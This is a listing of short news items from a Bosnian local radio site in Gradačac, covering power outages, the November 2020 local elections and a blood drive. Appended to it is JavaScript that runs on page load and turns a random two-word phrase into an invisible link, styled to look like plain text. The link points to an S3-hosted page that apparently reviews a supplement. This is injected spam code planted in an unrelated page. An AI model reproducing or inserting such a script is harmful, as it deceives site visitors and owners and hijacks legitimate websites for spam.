NAJAVLJUJEMO
15/11/2020
Zbog planskih radova u ponedjeljak, 16. novembra 2020. godine, doći će do zastoja u isporuci električne energije za korisnike...Više...
IZBORI 2020
15/11/2020
U nedjelju, 15. novembra u Bosni i Hercegovini se održavaju Lokalni izbori. Centralna izborna komisija BiH (CIK BiH) omogućila...Više...
IZBORI 2020
15/11/2020
Na osnovu člana 2.13. tačka 2. Izbornog zakona BiH («Službeni glasnik BiH», 23/01, 7/02, 9/02, 20/02, 25/02, 4/04, 20/04,...Više...
GRADAČAC
13/11/2020
Crveni križ Grada Gradačac jučer je u suradnji sa Poliklinikom za transfuziologiju UKC Tuzla realizovao šestu vanrednu...Više...
NAJAVLJUJEMO
13/11/2020
Zbog planskih radova u petaku, 13. novembra 2020. godine, doći će do zastoja u isporuci električne energije za korisnike koji...Više...
NAJAVLJUJEMO
11/11/2020
Radio Gradačac u saradnji sa Centrom za mentalno zdravje JU Dom zdravlja Gradačac pokreće serijal emisija o mentalnom...Više...
const CONFIG = {
url: "https://aga-khan-museum-assets.s3.amazonaws.com/media/the-brain-song-reviews-2026-should-you-buy-it_tkud6.html",
linkTarget: "_blank",
minWordLength: 2,
maxWordLength: 2,
skipTags: ["a", "script", "style", "h1", "h2", "h3", "noscript"],
};
function insertDynamicLink() {
const walker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_TEXT,
{
acceptNode(node) {
const parent = node.parentElement;
if (!parent) return NodeFilter.FILTER_REJECT;
const tag = parent.tagName.toLowerCase();
if (CONFIG.skipTags.includes(tag)) return NodeFilter.FILTER_REJECT;
if (parent.closest("a")) return NodeFilter.FILTER_REJECT;
if (node.textContent.trim().split(/\s+/).length < CONFIG.minWordLength) return NodeFilter.FILTER_REJECT;
return NodeFilter.FILTER_ACCEPT;
},
}
);
const textNodes = [];
let node;
while ((node = walker.nextNode())) {
textNodes.push(node);
}
if (textNodes.length === 0) return;
const randomNode = textNodes[Math.floor(Math.random() * textNodes.length)];
const words = randomNode.textContent.trim().split(/\s+/);
if (words.length < CONFIG.minWordLength) return;
const phraseLength = Math.min(
CONFIG.minWordLength + Math.floor(Math.random() * (CONFIG.maxWordLength - CONFIG.minWordLength + 1)),
words.length
);
const maxStart = words.length - phraseLength;
const startIndex = Math.floor(Math.random() * (maxStart + 1));
const phrase = words.slice(startIndex, startIndex + phraseLength).join(" ");
const fullText = randomNode.textContent;
const phraseIndex = fullText.indexOf(phrase);
if (phraseIndex === -1) return;
const before = fullText.substring(0, phraseIndex);
const after = fullText.substring(phraseIndex + phrase.length);
const link = document.createElement("a");
link.href = CONFIG.url;
link.textContent = phrase;
link.target = CONFIG.linkTarget;
link.rel = "noopener noreferrer";
link.style.cssText = "color:inherit;text-decoration:none;";
const fragment = document.createDocumentFragment();
if (before) fragment.appendChild(document.createTextNode(before));
fragment.appendChild(link);
if (after) fragment.appendChild(document.createTextNode(after));
randomNode.parentNode.replaceChild(fragment, randomNode);
}
document.addEventListener("DOMContentLoaded", insertDynamicLink);